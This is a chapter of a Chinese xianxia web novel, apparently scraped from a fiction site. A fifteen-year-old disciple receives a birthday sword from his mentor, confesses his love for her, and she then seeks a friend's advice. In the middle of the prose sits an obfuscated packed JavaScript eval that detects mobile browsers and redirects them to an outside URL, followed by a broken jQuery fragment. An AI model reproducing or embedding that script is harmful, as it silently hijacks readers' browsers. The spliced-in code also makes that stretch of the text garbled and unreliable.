54. 但说无妨

作品:《仙门公敌自救攻略

    “生辰快乐。”


    沈渊推开门,却见屋内点着几支蜡烛,光线昏暗,程衍坐在桌旁,笑着招呼他上千,一时有些茫然。


    “今天是你生日啊,怎么,最近忙的你都忘记了?”


    他恍然大悟,是啊。今日是自己的十五岁生日,他竟已全然忘记了。


    “这些日子事情太多,都没空管你呢。对不起啊。这是特意从镇上订的,还有长寿面,我自己试着做了一次,你要不要尝尝?”


    沈渊一听,终于不再躲着她了,竟当真乖乖地坐了下来。


    她实在是太不会做饭,平日里除去在食堂对付几口,就是有沈渊懂事地将三餐准备妥帖,是以时至今日,这竟是她第一次亲自下厨房做些什么,面条甚至都没煮熟,还夹着生。


    但沈渊还是捧着碗,像是在吃什么山珍一样吃得很起劲。


    见他不再抗拒自己,程衍才终于松了一口气,笑着问道:


    “怎么样,好吃么。”


    沈渊却答非所问:“你今天不去找他吗。”


    “谁?你说师兄?不去啊。今天是你生辰,当然是要留下给你过生辰的呀。我还给你带了礼物。”


    她说着,从桌下抱起一个木匣来,推到他面前。匣盖开启,棕丝内衬上放着一柄通体乌黑的长剑,乍看上去与承影剑有些相像,材质却并不相同。嵌金的纹饰也全然迥异。


    但这显然是一柄价值不菲的宝剑,是任何一个用剑之人都会希望收到的礼物。


    “嵩阳冶铁锻剑之术名冠天下,我特意托一位朋友为你打的。你现在那把在藏剑阁中随意找的剑,练手还好,不适合久用,还是换一把新的吧。”


    洛闻潇与其传人颇有些私教,因而才让程衍抓了这么个后门。她说着,试探着问:


    “怎么样,喜欢么?”


    沈渊直直地看着这柄剑,又小心地程衍的在烛火下显得温柔的脸,忽然觉得鼻子发酸,他嗫嚅着,终究是在程衍面前说不出一句谎话:


    “我……喜欢。”


    十五年来,直到与程衍相遇。他的生辰被人这样珍而重之地对待。


    父亲记不起来,下人们又怎么会有心为他这个甚至比不上陌生人的公子张罗生辰。因为这世上其实没有人真心期待他的到来。


    “那就好,过几日咱们一起下山,给你再挑一条新剑穗去。”她双手合十,心满意足道:


    “既然如此作为交换,你这些日子究竟在闹什么别扭?能告诉我了吗?”


    “没有。”沈渊面上一红。


    “那你这些日子为什么一直躲着我。嗯?”


    “不为什么。”


    “我哪里做的不对吗?”


    “没有。你没错。”


    “没有你为什么躲着我不肯见?肯定有什么。”


    “你……是因为我和师兄的事情在生气对么”


    被说中了心事,沈渊浑身猛地一颤,扭过头去不肯说话。


    看他这幅样子,程衍也明白自己这是猜对了。


    她笑了笑,伸手想去捏捏沈渊的脸颊,却被一下子躲开了。她也不恼火,而是耐下心来慢慢道:


    “师兄他父亲去世了,毕竟是因为那种原因……他又是个有事就喜欢往心里去想东想西的人,这些日子他心里一直都很难过的。加上其他人一直在传一些胡说八道的谣言。他身边没有能说话的人,我不安慰他,难道你来啊?就因为我抱了他,你就闹脾气不理人,这么幼稚啊,小气不小气。”


    怎知沈渊却像是被这句话刺痛了哪处一样,浑身颤动着,像是终于无法忍耐:


    “可我就是小气,不可以吗。“


    “你?”程衍忽然意识到自己犯了大错,说了不该说的话,可已经来不及了。


    “我就是不要你和他在一起,不可以吗?明明……明明天天见面的人是我们才对,明明是我先——”


    沈渊说罢,全不给程衍回答的机会与时间,自嘲地笑了笑,声音沙哑中带着泫然欲泣的泣音,像是彻底放弃挣扎后,自暴自弃的坦荡;又像是终于得以解脱后的如释重负:


    “那天,你问我梦见了什么,我没有说。是因为不能说。我不知道该怎么告诉你。那些梦里的……全都是你,我不想这样的,我知道这不对,可是控制不住。越是不想,越是忍不住。每天晚上的梦里都是你,叫人睡不好。你从来都不知道。”


    第一次惊醒时,他几乎无法控制地对自己感到厌恶,甚至是恶心。或许是因为父亲与长兄的缘故,对于这些事情他一向避之如蛇蝎,无数次发誓绝不能变成他们那样的人。


    可事实却毫不留情地在他脸上抽巴掌。


    那些声色犬马的梦里,夜夜那张人脸不是程衍还能是谁?任他在心里唾骂自己一千遍一万遍的肮脏下流,寡廉鲜耻,也不得不承认,自己就是想她的。


    恨不得一天十二时辰都和她分不开,想她想得一刻见不到就抓心挠肝。这份感情一旦被认清,就再也无可隐藏,迅猛得如同暴雨狂澜。


    他没有了家后,是因为程衍的存在,才能来到了这座仙人的山上,能有机会踏上这寻常人可望而不可及的缈缈仙途。


    可他在这座山上也是没有朋友的,这世上会在乎自己的,其实只有程衍一个人而已。这就是他拥有的一切了。


    倘若说一个人的天下有多大,只取决于他身边的人有多少。这也就是他的全世界了。


    或许也正因如此,初见之时他就对宋无咎有一种无端的敌意,像是本能在发出警告。


    可那日程衍抱住那个人温声劝慰的场景又一次在眼前回溯,像是一柄薄刃的钢刀割在心口,叫人想起来就痛的一抽一抽的。


    也叫他再也无法对自己心中那些被死死捂住的恐惧视而不见。自己其实真的无法接受有一天她会抓住别人的手。


    怕程衍也会离开,怕她心中真的还有其他人,然后某日突然间做出一副合格的“前辈”模样,对他说他已经长大,该有自己的人生,送上一份虚假的祝福再将他打发走,然后抓住另一个人的手转身笑语妍妍。


    分明那夜是她抓住了自己的手,是她给了自己又一次活下去的机会,是她先开始的。自己本该是个要死了的人!


    若终究自己的一厢情愿,能不能不要再对自己这样好了。


    “我想让自己忘掉,想让自己断了这些杂念,可是没有用。我做不到。我不是什么都不懂的孩子了,我就是喜欢你,我知道的!你总是有很多事要做,好像什么事都比我重要。可凭什么,我只能在后面一无所知地等着。明明那时候是你先伸手的不是么。”


    他深吸了一口气,像是个等待审判的囚徒,近乎绝望地将折磨自己许久的,这份单纯而炙热的爱意坦白而出,又或许只是为了一个宽大的处置。


    “你,你,我……”


    一切都发生的太过突然。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131629|176885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    程衍第一次被人这样明目张胆,近乎露骨的表白,对象还是自己从未想过的人,她已经完全呆住了,觉得脸上麻麻的发烫,心跳如擂鼓。


    此时此刻,看着那双炙热的,带着不再掩饰的,初生的爱慕与悲哀的眼睛,突然觉得眼前的人在这一刻竟忽然如此陌生。


    “我明白了。”


    她竭力稳住自己的声音,好看起来不那么的慌乱无措:


    “你,你可不可以给我给我一点时间,让我好好想一想,好么?”


    沈渊没有回答,沉默着低下了头。


    窗外,断断续续的传来像是碎玉滚落银盘的声音,第一场秋雨带来了微凉的秋意。


    窗内烛火摇晃着,一室静谧。


    ——————————————————--


    “这不是可不可以的问题,你能想象你家里养的小猫某天突然说他其实是个人,喜欢你很久了么!”


    程衍有些抓狂,第一次面对这样的情况,过往在书中读到的东西全都变作了废话,手中的利剑与满身的修为变作了废品,半点帮不上忙。


    可再不找谁说出口的话,她觉得自己简直就要被闷疯了!


    “那可太吓人了。但他又不是什么跟宠,他是人啊,年纪也不小了,知道喜欢懂爱慕,那就是已经长大了,又不是真的不懂事的孩子。”


    洛闻潇初时倒是当真狠狠惊诧了一把。但她毕竟见多识广,这世上,人与人之间的事,只有想不到,没有发生不了的。


    她见过比这惊异太多的事,一个少年的初恋情结实在算不得什么东西。


    对这人世间而言,很微小,也不重要。


    但对有些人来说,却好像和这天下一样大。


    “我知道不是。可、可我当初救他,也不是为了要他……”


    “以身相许?”洛闻潇话语里带着调侃之意。


    “哎反正,反正……也不是为了要什么报答你懂吗?他可能只是还小,一直呆在山上没见过别人才会有这样的想法。年纪小可以冲动,但我不应该,我也不想搞的像挟恩图报一样,太奇怪了。”


    “所以你觉得,他现在和你说这些话,只是什么嗯,雏鸟情节为了报恩也好,还是将救命之恩误认也罢。总之只是因为没见过别人,才会对你动心,是这样么?”


    “差不多吧。如果,我现在当真为了不伤人心,答应了点头了。日后待他长大,明白的事情多了,回过头来发现现在的自己这些傻事,其实只是因为没见过世面,觉得后悔的话,那岂不是太——”


    程衍越说越焦躁,抓了抓头发,彻底没办法了。


    “那你打算怎么办呢?这种事处理不好的话,闹成老死不相往来可太容易了。”


    “我不知道。”


    程衍一片空白,她说不清。没人教过她也没人和她说过这些事情,洛闻潇显而易见不打算给自己帮这个忙。这样介入他人间因果的苦差事,她一向避而不及的。


    “不知道就慢慢想。反正日子还长,人又不会变鸟飞了。但是我说啊,”


    洛闻潇吐掉嘴里叼着的草叶:


    “你既然这样不愿,当时为何不知直接回绝掉算了呢。别怪我没提醒你,模棱两可地钓着更伤人。”


    “我……”


    是啊。


    她被问得哑口无言。


    却承认那个瞬间,自己其实全然没有想到拒绝。